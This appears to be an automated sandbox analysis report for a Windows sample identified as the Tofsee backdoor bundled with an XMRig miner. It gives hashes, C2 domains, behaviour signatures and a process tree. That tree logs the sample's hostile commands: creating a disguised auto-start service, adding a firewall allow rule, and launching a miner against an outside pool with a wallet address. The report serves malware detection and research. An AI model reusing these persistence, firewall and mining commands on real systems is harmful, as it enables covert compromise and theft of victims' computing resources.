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Overview

overview

10

Static

static

file.exe

windows7-x64

10

file.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    27/10/2022, 03:16

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General

  • Target

    file.exe

  • Size

    217KB

  • MD5

    4d0457a1d9289c8448cb8122763c2109

  • SHA1

    050247917947b498ccbcc0e484dd2fb209217a25

  • SHA256

    72c500b08abb2a66453bf84d838767ef0e80e8db40566bd5b95604ac0e8f0d61

  • SHA512

    ef5b33d09a80ceac8bb9b37eb8d8550bea470659fdc830df0d172f204d2d55bd069b3a713a0c2534fa8366565aeca527b69fe155bf85fa0957f3dd0160233fb8

  • SSDEEP

    3072:w44ocWw8Y8Q4L4r5K6BiU4X5SWshbJLT1Eo52Oqz29Myy1gKx:/4cxY2L65KaiUrNNGW2O629MySD

Score
10/10
tofseexmrigevasionminerpersistencetrojan

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs 1 IoCs
    evasiontrojan
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
    evasion
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:832
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\dwndubfy\
      2⤵
        PID:1948
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ryycdnxi.exe" C:\Windows\SysWOW64\dwndubfy\
        2⤵
          PID:936
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create dwndubfy binPath= "C:\Windows\SysWOW64\dwndubfy\ryycdnxi.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1096
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description dwndubfy "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1728
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start dwndubfy
          2⤵
          • Launches sc.exe
          PID:1824
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1272
      • C:\Windows\SysWOW64\dwndubfy\ryycdnxi.exe
        C:\Windows\SysWOW64\dwndubfy\ryycdnxi.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1872
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:896
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1176

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\ryycdnxi.exe
        Filesize

        11.8MB

        MD5

        abde132d7e121a5da8926078c77d06e6

        SHA1

        ca5f4a377381922ad119147769a82301f8cd43fe

        SHA256

        0ffbe4e4680cf59e072234cdc846c4a1f8fdc547a7681b642c5f3b6be15f4e47

        SHA512

        514b9f81649f78a589980aa22b8ebc7d212d9975fbb915ece32b1bb463ea522eb436716b5cc83b5e54a659b13bcdd001a0c0e4902de080687443c003ff34304e

        Download Submit

      • C:\Windows\SysWOW64\dwndubfy\ryycdnxi.exe
        Filesize

        11.8MB

        MD5

        abde132d7e121a5da8926078c77d06e6

        SHA1

        ca5f4a377381922ad119147769a82301f8cd43fe

        SHA256

        0ffbe4e4680cf59e072234cdc846c4a1f8fdc547a7681b642c5f3b6be15f4e47

        SHA512

        514b9f81649f78a589980aa22b8ebc7d212d9975fbb915ece32b1bb463ea522eb436716b5cc83b5e54a659b13bcdd001a0c0e4902de080687443c003ff34304e

        Download Submit

      • memory/832-77-0x0000000000400000-0x0000000000594000-memory.dmp

        Filesize

        1.6MB

        Download

      • memory/832-57-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB

        Download

      • memory/832-56-0x0000000000A1B000-0x0000000000A2C000-memory.dmp

        Filesize

        68KB

        Download

      • memory/832-58-0x0000000000400000-0x0000000000594000-memory.dmp

        Filesize

        1.6MB

        Download

      • memory/832-76-0x0000000000A1B000-0x0000000000A2C000-memory.dmp

        Filesize

        68KB

        Download

      • memory/832-54-0x0000000075091000-0x0000000075093000-memory.dmp

        Filesize

        8KB

        Download

      • memory/896-86-0x0000000000170000-0x0000000000180000-memory.dmp

        Filesize

        64KB

        Download

      • memory/896-92-0x00000000058C0000-0x0000000005CCB000-memory.dmp

        Filesize

        4.0MB

        Download

      • memory/896-95-0x0000000000570000-0x0000000000577000-memory.dmp

        Filesize

        28KB

        Download

      • memory/896-66-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

        Download

      • memory/896-68-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

        Download

      • memory/896-89-0x0000000000220000-0x0000000000225000-memory.dmp

        Filesize

        20KB

        Download

      • memory/896-80-0x00000000018C0000-0x0000000001ACF000-memory.dmp

        Filesize

        2.1MB

        Download

      • memory/896-83-0x0000000000160000-0x0000000000166000-memory.dmp

        Filesize

        24KB

        Download

      • memory/896-98-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

        Download

      • memory/896-79-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

        Download

      • memory/1176-99-0x0000000000130000-0x0000000000221000-memory.dmp

        Filesize

        964KB

        Download

      • memory/1176-101-0x0000000000130000-0x0000000000221000-memory.dmp

        Filesize

        964KB

        Download

      • memory/1872-73-0x0000000000400000-0x0000000000594000-memory.dmp

        Filesize

        1.6MB

        Download

      • memory/1872-70-0x000000000074B000-0x000000000075C000-memory.dmp

        Filesize

        68KB

        Download